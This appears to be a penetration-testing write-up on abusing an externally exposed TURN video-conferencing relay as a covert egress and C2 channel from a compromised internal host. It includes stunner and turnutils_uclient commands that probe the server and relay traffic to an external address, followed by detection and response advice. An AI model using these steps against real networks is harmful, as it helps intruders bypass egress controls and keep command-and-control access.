In some security analysis projects, after obtaining RCE and breaching the external perimeter, we face the question - is there a way out to the Internet from the compromised host? If there is, we can establish a fast channel with a C2 server, set up a SOCKS proxy for other tools, and continue our pentesting. But the host may be deep within the local network, and Internet access may be heavily restricted.
In such cases, it’s helpful to check if the client has a special video conferencing relay server on the external perimeter. Such servers are called TURN (Traversal Using Relays around NAT), they help to connect the devices when the direct traffic between them is blocked. However, malicious actors can use such a server for their purposes.
How it works:
In WebRTC calls, there are several important entities:
— Signal plane: the channel through which clients receive call parameters, TURN server addresses, and credentials;
— ICE (Interactive Connectivity Establishment): a mechanism that determines how to establish the fastest connection;
— Host candidate: peers see each other in the local network;
— Reflexive/STUN: peers are behind a NAT but are accessible through an external address;
— TURN: traffic goes through an intermediate relay server.
If a direct connection is not possible due to NAT/firewall, the client sends an Allocate Request to the TURN server, passes credentials, and receives a relay address. Then, data is sent through Send Indication or ChannelData.
A network administrator may open access from the internal network to the TURN server specifically for this purpose, so that employees can use video conferencing. However, TURN servers can provide traffic redirection, and this can be used to proxy traffic anywhere, including malicious actors’ C2.
Exploitation conditions:
— there is RCE/foothold on an internal host;
— the TURN server is accessible from it;
— the TURN server is located on the external perimeter (visible from the Internet);
— turn_user / turn_pass are known;
— TURN allows relay to an external white_ip:port.
The presence of a TURN server can be revealed during the reconnaissance phase. To check if the TURN server is on the external perimeter, stunner can be used:
stunner info -turnserver <ip>:<port>If TURN is configured with authentication (which is usually the case), you need to connect to the videoconferencing system and obtain the login/password to access TURN from the signal plane. Then, you can check the possibility of relaying to external addresses:
turnutils_uclient -n 1 -I -c \
-u <turn_user> \
-w <turn_pass> \
-e <white_ip> \
-r <port> \
-p <turn_port> \
<turn_ip>If you see traffic on white_ip:port from the TURN server, it means that proxying is possible. Therefore, you can proceed:
— use the credentials obtained through the signal plane,
— send an Allocate Request to the TURN server from the compromised host,
— specify the external host as the destination, and
— the TURN server will relay traffic outward.
The advantage of this method: an additional egress channel when direct Internet or corporate proxy is not available.
Disadvantages: the speed is lower than that of SOCKS/proxy, and TURN credentials have an expiration date; after the expiration, the channel needs to be re-established.
How to detect the attack:
Monitor outgoing traffic from the TURN server. If the TURN server is communicating with unknown external IPs, if there are ChannelData and Send Indication packets not directed to your infrastructure - this is a clear sign that someone is proxying through your TURN.
How to respond:
— check which internal hosts initiated the Allocate Request;
— correlate the activity time with real VCS sessions;
— find the external white_ip to which the TURN server relayed traffic;
— revoke/update TURN credentials;
— limit relay to expected directions only;
— check the compromised host for RCE/foothold.
It’s also helpful to prohibit anonymous calls in your VCS. This will make it harder for the attackers: in this case, they will need to find credentials for the call and then obtain TURN credentials through the signal plane.
